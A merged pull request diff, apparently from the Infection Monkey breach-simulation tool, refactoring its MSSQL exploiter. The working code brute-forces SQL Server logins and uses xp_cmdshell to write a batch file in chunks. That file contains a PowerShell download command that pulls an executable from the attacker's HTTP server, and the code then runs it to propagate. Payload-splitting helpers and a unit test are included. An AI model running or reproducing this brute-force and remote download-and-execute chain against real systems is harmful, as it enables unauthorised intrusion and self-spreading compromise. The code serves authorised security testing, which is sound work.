Merge pull request #422 from guardicore/mssql_bugfix

MSSQL bugs fixed, refactored to be more stable

monkey/infection_monkey/exploit/mssqlexec.py

@@ -1,17 +1,17 @@
 import logging
 import os
-import textwrap
+import sys
 from time import sleep
 
 import pymssql
 
 from common.utils.exploit_enum import ExploitType
 from infection_monkey.exploit import HostExploiter
-from infection_monkey.exploit.tools.http_tools import HTTPTools
-from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \
-    build_monkey_commandline, get_monkey_depth
+from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
+from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth
 from infection_monkey.model import DROPPER_ARG
-from infection_monkey.utils import get_monkey_dir_path
+from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
+from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
 
 LOG = logging.getLogger(__name__)
 
@@ -25,84 +25,131 @@ class MSSQLExploiter(HostExploiter):
     # Time in seconds to wait between MSSQL queries.
     QUERY_BUFFER = 0.5
     SQL_DEFAULT_TCP_PORT = '1433'
+
     # Temporary file that saves commands for monkey's download and execution.
     TMP_FILE_NAME = 'tmp_monkey.bat'
+    TMP_DIR_PATH = "%temp%\\tmp_monkey_dir"
+
+    MAX_XP_CMDSHELL_COMMAND_SIZE = 128
+
+    XP_CMDSHELL_COMMAND_START = "xp_cmdshell \""
+    XP_CMDSHELL_COMMAND_END = "\""
+    EXPLOIT_COMMAND_PREFIX = "<nul set /p="
+    EXPLOIT_COMMAND_SUFFIX = ">>{payload_file_path}"
+    CREATE_COMMAND_SUFFIX = ">{payload_file_path}"
+    MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \
+                              "DownloadFile(^\'{http_path}^\' , ^\'{dst_path}^\')"
 
     def __init__(self, host):
         super(MSSQLExploiter, self).__init__(host)
+        self.cursor = None
+        self.monkey_server = None
+        self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME)
 
     def _exploit_host(self):
+        """
+        First this method brute forces to get the mssql connection (cursor).
+        Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after
+        """
         # Brute force to get connection
         username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
-        cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
+        self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
 
-        if not cursor:
-            LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
-            return False
+        # Create dir for payload
+        self.create_temp_dir()
 
-        # Get monkey exe for host and it's path
-        src_path = get_target_monkey(self.host)
-        if not src_path:
-            LOG.info("Can't find suitable monkey executable for host %r", self.host)
-            return False
+        try:
+            self.create_empty_payload_file()
 
-        # Create server for http download and wait for it's startup.
-        http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
-        if not http_path:
-            LOG.debug("Exploiter failed, http transfer creation failed.")
-            return False
-        LOG.info("Started http server on %s", http_path)
+            self.start_monkey_server()
+            self.upload_monkey()
+            self.stop_monkey_server()
 
-        dst_path = get_monkey_dest_path(http_path)
-        tmp_file_path = os.path.join(get_monkey_dir_path(), MSSQLExploiter.TMP_FILE_NAME)
+            # Clear payload to pass in another command
+            self.create_empty_payload_file()
 
-        # Create monkey dir.
-        commands = ["xp_cmdshell \"mkdir %s\"" % get_monkey_dir_path()]
-        MSSQLExploiter.execute_command(cursor, commands)
+            self.run_monkey()
 
-        # Form download command in a file
-        commands = [
-            "xp_cmdshell \"<nul set /p=powershell (new-object System.Net.WebClient).DownloadFile>%s\"" % tmp_file_path,
-            "xp_cmdshell \"<nul set /p=(^\'%s^\' >>%s\"" % (http_path, tmp_file_path),
-            "xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)]
-        MSSQLExploiter.execute_command(cursor, commands)
-        MSSQLExploiter.run_file(cursor, tmp_file_path)
-        self.add_executed_cmd(' '.join(commands))
-        # Form monkey's command in a file
+            self.remove_temp_dir()
+        except Exception as e:
+            raise ExploitingVulnerableMachineError, e.args, sys.exc_info()[2]
+
+        return True
+
+    def run_payload_file(self):
+        file_running_command = MSSQLLimitedSizePayload(self.payload_file_path)
+        return self.run_mssql_command(file_running_command)
+
+    def create_temp_dir(self):
+        dir_creation_command = MSSQLLimitedSizePayload(command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
+        self.run_mssql_command(dir_creation_command)
+
+    def create_empty_payload_file(self):
+        suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
+        tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
+        self.run_mssql_command(tmp_file_creation_command)
+
+    def run_mssql_command(self, mssql_command):
+        array_of_commands = mssql_command.split_into_array_of_smaller_payloads()
+        if not array_of_commands:
+            raise Exception("Couldn't execute MSSQL exploiter because payload was too long")
+        self.run_mssql_commands(array_of_commands)
+
+    def run_monkey(self):
+        monkey_launch_command = self.get_monkey_launch_command()
+        self.run_mssql_command(monkey_launch_command)
+        self.run_payload_file()
+
+    def run_mssql_commands(self, cmds):
+        for cmd in cmds:
+            self.cursor.execute(cmd)
+            sleep(MSSQLExploiter.QUERY_BUFFER)
+
+    def upload_monkey(self):
+        monkey_download_command = self.write_download_command_to_payload()
+        self.run_payload_file()
+        self.add_executed_cmd(monkey_download_command.command)
+
+    def remove_temp_dir(self):
+        # Remove temporary dir we stored payload at
+        tmp_file_removal_command = MSSQLLimitedSizePayload(command="del {}".format(self.payload_file_path))
+        self.run_mssql_command(tmp_file_removal_command)
+        tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
+        self.run_mssql_command(tmp_dir_removal_command)
+
+    def start_monkey_server(self):
+        self.monkey_server = MonkeyHTTPServer(self.host)
+        self.monkey_server.start()
+
+    def stop_monkey_server(self):
+        self.monkey_server.stop()
+
+    def write_download_command_to_payload(self):
+        monkey_download_command = self.get_monkey_download_command()
+        self.run_mssql_command(monkey_download_command)
+        return monkey_download_command
+
+    def get_monkey_launch_command(self):
+        dst_path = get_monkey_dest_path(self.monkey_server.http_path)
+        # Form monkey's launch command
         monkey_args = build_monkey_commandline(self.host,
                                                get_monkey_depth() - 1,
                                                dst_path)
-        monkey_args = ["xp_cmdshell \"<nul set /p=%s >>%s\"" % (part, tmp_file_path)
-                       for part in textwrap.wrap(monkey_args, 40)]
-        commands = ["xp_cmdshell \"<nul set /p=%s %s >%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)]
-        commands.extend(monkey_args)
-        MSSQLExploiter.execute_command(cursor, commands)
-        MSSQLExploiter.run_file(cursor, tmp_file_path)
-        self.add_executed_cmd(commands[-1])
-        return True
+        suffix = ">>{}".format(self.payload_file_path)
+        prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
+        return MSSQLLimitedSizePayload(command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args),
+                                       prefix=prefix,
+                                       suffix=suffix)
 
-    @staticmethod
-    def run_file(cursor, file_path):
-        command = ["exec xp_cmdshell \"%s\"" % file_path]
-        return MSSQLExploiter.execute_command(cursor, command)
-
-    @staticmethod
-    def execute_command(cursor, cmds):
-        """
-        Executes commands on MSSQL server
-        :param cursor: MSSQL connection
-        :param cmds: list of commands in MSSQL syntax.
-        :return: True if successfully executed, false otherwise.
-        """
-        try:
-            # Running the cmd on remote host
-            for cmd in cmds:
-                cursor.execute(cmd)
-                sleep(MSSQLExploiter.QUERY_BUFFER)
-        except Exception as e:
-            LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e)
-            return False
-        return True
+    def get_monkey_download_command(self):
+        dst_path = get_monkey_dest_path(self.monkey_server.http_path)
+        monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\
+            format(http_path=self.monkey_server.http_path, dst_path=dst_path)
+        prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
+        suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
+        return MSSQLLimitedSizePayload(command=monkey_download_command,
+                                       suffix=suffix,
+                                       prefix=prefix)
 
     def brute_force(self, host, port, users_passwords_pairs_list):
         """
@@ -138,4 +185,12 @@ class MSSQLExploiter(HostExploiter):
 
         LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
                     'aborting brute force'.format(host, port))
-        return None
+        raise RuntimeError("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
+
+
+class MSSQLLimitedSizePayload(LimitedSizePayload):
+    def __init__(self, command, prefix="", suffix=""):
+        super(MSSQLLimitedSizePayload, self).__init__(command=command,
+                                                      max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
+                                                      prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix,
+                                                      suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END)

monkey/infection_monkey/exploit/tools/exceptions.py

@@ -0,0 +1,5 @@
+
+
+class ExploitingVulnerableMachineError(Exception):
+    """ Raise when exploiter failed, but machine is vulnerable"""
+    pass

monkey/infection_monkey/exploit/tools/helpers.py

@@ -47,6 +47,13 @@ def get_interface_to_target(dst):
         return ret[1]
 
 
+def try_get_target_monkey(host):
+    src_path = get_target_monkey(host)
+    if not src_path:
+        raise Exception("Can't find suitable monkey executable for host %r", host)
+    return src_path
+
+
 def get_target_monkey(host):
     from infection_monkey.control import ControlClient
     import platform

monkey/infection_monkey/exploit/tools/http_tools.py

@@ -7,8 +7,8 @@ from threading import Lock
 from infection_monkey.network.firewall import app as firewall
 from infection_monkey.network.info import get_free_tcp_port
 from infection_monkey.transport import HTTPServer, LockedHTTPServer
-from infection_monkey.exploit.tools.helpers import get_interface_to_target
-
+from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
+from infection_monkey.model import DOWNLOAD_TIMEOUT
 
 __author__ = 'itamar'
 
@@ -16,6 +16,7 @@ LOG = logging.getLogger(__name__)
 
 
 class HTTPTools(object):
+
     @staticmethod
     def create_transfer(host, src_path, local_ip=None, local_port=None):
         if not local_port:
@@ -33,6 +34,14 @@ class HTTPTools(object):
 
         return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
 
+    @staticmethod
+    def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
+        http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, local_ip, local_port)
+        if not http_path:
+            raise Exception("Http transfer creation failed.")
+        LOG.info("Started http server on %s", http_path)
+        return http_path, http_thread
+
     @staticmethod
     def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
         """
@@ -60,3 +69,22 @@ class HTTPTools(object):
         httpd.start()
         lock.acquire()
         return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
+
+
+class MonkeyHTTPServer(HTTPTools):
+    def __init__(self, host):
+        super(MonkeyHTTPServer, self).__init__()
+        self.http_path = None
+        self.http_thread = None
+        self.host = host
+
+    def start(self):
+        # Get monkey exe for host and it's path
+        src_path = try_get_target_monkey(self.host)
+        self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(self.host, src_path)
+
+    def stop(self):
+        if not self.http_path or not self.http_thread:
+            raise RuntimeError("Can't stop http server that wasn't started!")
+        self.http_thread.join(DOWNLOAD_TIMEOUT)
+        self.http_thread.stop()

monkey/infection_monkey/exploit/tools/payload_parsing.py

@@ -0,0 +1,63 @@
+import logging
+import textwrap
+
+LOG = logging.getLogger(__name__)
+
+
+class Payload(object):
+    """
+    Class for defining and parsing a payload (commands with prefixes/suffixes)
+    """
+
+    def __init__(self, command, prefix="", suffix=""):
+        self.command = command
+        self.prefix = prefix
+        self.suffix = suffix
+
+    def get_payload(self, command=""):
+        """
+        Returns prefixed and suffixed command (payload)
+        :param command: Command to suffix/prefix. If no command is passed than objects' property is used
+        :return: prefixed and suffixed command (full payload)
+        """
+        if not command:
+            command = self.command
+        return "{}{}{}".format(self.prefix, command, self.suffix)
+
+
+class LimitedSizePayload(Payload):
+    """
+    Class for defining and parsing commands/payloads
+    """
+
+    def __init__(self, command, max_length, prefix="", suffix=""):
+        """
+        :param command: command
+        :param max_length: max length that payload(prefix + command + suffix) can have
+        :param prefix: commands prefix
+        :param suffix: commands suffix
+        """
+        super(LimitedSizePayload, self).__init__(command, prefix, suffix)
+        self.max_length = max_length
+
+    def is_suffix_and_prefix_too_long(self):
+        return self.payload_is_too_long(self.suffix + self.prefix)
+
+    def split_into_array_of_smaller_payloads(self):
+        if self.is_suffix_and_prefix_too_long():
+            raise Exception("Can't split command into smaller sub-commands because commands' prefix and suffix already "
+                            "exceeds required length of command.")
+
+        elif self.command == "":
+            return [self.prefix+self.suffix]
+        wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
+        commands = [self.get_payload(part)
+                    for part
+                    in wrapper.wrap(self.command)]
+        return commands
+
+    def get_max_sub_payload_length(self):
+        return self.max_length - len(self.prefix) - len(self.suffix)
+
+    def payload_is_too_long(self, command):
+        return len(command) >= self.max_length

monkey/infection_monkey/exploit/tools/payload_parsing_test.py

@@ -0,0 +1,32 @@
+from unittest import TestCase
+from payload_parsing import Payload, LimitedSizePayload
+
+
+class TestPayload(TestCase):
+    def test_get_payload(self):
+        test_str1 = "abc"
+        test_str2 = "atc"
+        payload = Payload(command="b", prefix="a", suffix="c")
+        assert payload.get_payload() == test_str1 and payload.get_payload("t") == test_str2
+
+    def test_is_suffix_and_prefix_too_long(self):
+        pld_fail = LimitedSizePayload("b", 2, "a", "c")
+        pld_success = LimitedSizePayload("b", 3, "a", "c")
+        assert pld_fail.is_suffix_and_prefix_too_long() and not pld_success.is_suffix_and_prefix_too_long()
+
+    def test_split_into_array_of_smaller_payloads(self):
+        test_str1 = "123456789"
+        pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix")
+        array1 = pld1.split_into_array_of_smaller_payloads()
+        test1 = bool(array1[0] == "prefix1234suffix" and
+                     array1[1] == "prefix5678suffix" and
+                     array1[2] == "prefix9suffix")
+
+        test_str2 = "12345678"
+        pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix")
+        array2 = pld2.split_into_array_of_smaller_payloads()
+        test2 = bool(array2[0] == "prefix1234suffix" and
+                     array2[1] == "prefix5678suffix" and len(array2) == 2)
+
+        assert test1 and test2
+

monkey/infection_monkey/monkey.py

@@ -26,6 +26,7 @@ from infection_monkey.windows_upgrader import WindowsUpgrader
 from infection_monkey.post_breach.post_breach_handler import PostBreach
 from common.utils.attack_utils import ScanStatus
 from infection_monkey.exploit.tools.helpers import get_interface_to_target
+from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
 
 __author__ = 'itamar'
 
@@ -300,7 +301,11 @@ class InfectionMonkey(object):
                 return True
             else:
                 LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
-
+        except ExploitingVulnerableMachineError as exc:
+            LOG.error("Exception while attacking %s using %s: %s",
+                      machine, exploiter.__class__.__name__, exc)
+            self.successfully_exploited(machine, exploiter)
+            return True
         except Exception as exc:
             LOG.exception("Exception while attacking %s using %s: %s",
                           machine, exploiter.__class__.__name__, exc)